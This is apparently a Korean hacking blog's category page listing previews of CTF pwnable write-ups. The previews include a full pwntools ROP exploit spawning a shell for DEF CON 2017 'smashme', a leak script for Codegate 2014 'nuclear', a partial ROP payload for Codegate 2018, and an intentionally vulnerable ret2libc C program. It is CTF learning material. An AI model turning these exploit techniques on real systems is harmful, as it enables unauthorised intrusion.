목록Pwnable (7)

고졸백수해킹일기

ophcrack

보호되어 있는 글입니다.
Pwnable 2022. 11. 25. 21:04
ARM exploit

ARM exploit에 대해서 간략한 설명. // gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl #define _GNU_SOURCE #include #include #include void vuln(){ char buf[54] = ""; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 100); } void main(){ vuln(); } lazenca.net의 유명한 소스. arm 아키텍쳐는 x64와 매우 비슷하다. pop ebp; ret == pop {r11, pc} call == bl r0 == rdi..
Pwnable 2020. 9. 12. 16:54
pdb symbol 수동으로 다운

symchk.exe dll경로 /s msdl.microsoft.com/download/symbols
Pwnable 2020. 8. 14. 10:34
defcon2017 smashme (exploit only)

from pwn import *import time context(arch='amd64', os='linux')overflow = "Smash me outside, how bout dAAAAAAAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbBBBB"bss = p64(0x6CB164)rdi = p64(0x4014d6)gets = p64(0x40fad0)shell = asm(shellcraft.sh()) payload = ""payload += overflowpayload += pop_rdi+bsspayload += gets+bss s = process("./smashme")s.sendline(payload)time.sleep(1)s.sendline(shell)s.interactive()
Pwnable 2018. 3. 28. 00:54
pwntools shellcraft 사용법

32bithttp://docs.pwntools.com/en/stable/shellcraft/i386.html 64bithttp://docs.pwntools.com/en/stable/shellcraft/amd64.html 근데 여기 문서에서는 shellcraft.i386.linux.read( ) 이렇게 적어놨는데python 코드 맨 윗줄에context(arch='i386', os='linux') #
Pwnable 2018. 3. 15. 01:22
codegate2014 nuclear

바이너리를 보면 무슨 패스코드 파일을 읽어와서 input값이랑 비교하는데target메뉴 이후 입력받는 과정에서 릭을 하면 passcode를 읽어올 수 있다.아래는 릭 코드#####leak######from pwn import *import times = remote('localhost',1129) print s.recv(1024)s.sendline('target')time.sleep(1)print s.recv(1024)s.sendline('1094795585.000000/1094795585.000000')time.sleep(1)print s.recv()s.sendline('A'*512)time.sleep(1)print s.recv(4096) 이후 실행되는 start_routine이라는 곳에서 오버플로가 ..
Pwnable 2018. 3. 9. 23:48
codegate2018 BaskinRobins31

추천받아서 풀어본 문제your_turn 함수에서 터지게 된다. file : http://web.noe.systems/binary/Baskinrobins31 아래는 페이로드 from pwn import * prob = ELF('./BaskinRobins31')#print prob.symbols['read']s = remote("localhost",7777) dummy = "1"+"A"*183 #0xB0write_plt = 0x4006d0write_got = 0x602028read_plt = 0x400700read_got = 0x602040sh = "/bin/sh"bss = 0x602090gad = 0x40087apayload = ""offset_system = 0xa8e20 print s.recvuntil..
Pwnable 2018. 3. 6. 04:47
이전 Prev 1 Next 다음